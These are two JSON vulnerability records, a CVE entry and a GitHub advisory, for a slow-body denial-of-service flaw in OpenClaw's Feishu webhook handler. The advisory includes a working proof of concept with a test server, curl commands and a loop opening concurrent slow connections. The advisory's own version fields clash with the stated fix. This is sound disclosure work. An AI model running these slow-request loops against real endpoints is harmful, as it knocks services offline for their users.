{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "4220D4A6-550A-410D-9E21-4DAAB4E46485",
              "versionEndExcluding": "2026.3.24",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenClaw before 2026.3.24 contains an incomplete fix for CVE-2026-32011 where the Feishu webhook handler accepts request bodies with permissive limits of 1MB and 30-second timeout before signature verification. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint, blocking legitimate webhook deliveries."
    }
  ],
  "id": "CVE-2026-35665",
  "lastModified": "2026-04-13T20:42:44.077",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "disclosure@vulncheck.com",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "LOW",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-10T17:17:08.437",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-405"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T18:32:03Z",
    "nvd_published_at": "2026-04-10T17:17:08Z",
    "severity": "MODERATE"
  },
  "details": "\u003e Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension\u0027s webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB\n  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s\n  responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK\u0027s `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n  \u2192 Rate limit check: passes (under 120 req/min)\n  \u2192 Content-Type check: application/json, passes\n  \u2192 installRequestBodyLimitGuard(1MB, 30s): installed\n  \u2192 Body trickles at 1 byte/sec for 30 seconds\n  \u2192 \u00d7 50 concurrent connections = connection exhaustion\n  \u2192 Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat \u003e /tmp/feishu_webhook_server.js \u003c\u003c \u0027EOF\u0027\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n  let done = false;\n  const timer = setTimeout(() =\u003e {\n    if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n  }, timeoutMs);\n  req.on(\"end\", () =\u003e { done = true; clearTimeout(timer); });\n  req.on(\"close\", () =\u003e { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) =\u003e {\n  if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n  if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n  const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n  console.log(`[${req.url}] +conn`);\n  bodyGuard(req, res, timeout);\n  res.on(\"finish\", () =\u003e console.log(`[${req.url}] -conn`));\n}).listen(3000, () =\u003e console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js \u0026\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability \u2014 slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/feishu/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/patched/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit \u2014 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n  (echo -n \u0027A\u0027; sleep 15) | \\\n    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n    -H \"Content-Type: application/json\" \\\n    -H \"Content-Length: 65536\" \\\n    --data-binary @- --max-time 35 \u0026\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n  [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n  [conn-0] RESET after 8.0s (8B)\n  [conn-1] RESET after 8.0s (8B)\n  ...\n  [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10)  \u2190 No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19)  \u2190 ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server\u0027s connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 \u00d7 1MB buffer) per attack wave\n\nThe attack is trivial \u2014 it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: \u003c= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) \u2014 should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants \u2014 this guard runs before authentication (the Lark SDK handler at line 284). |",
  "id": "GHSA-w6m8-cqvj-pg5v",
  "modified": "2026-04-10T19:44:53Z",
  "published": "2026-03-30T18:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35665"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)"
}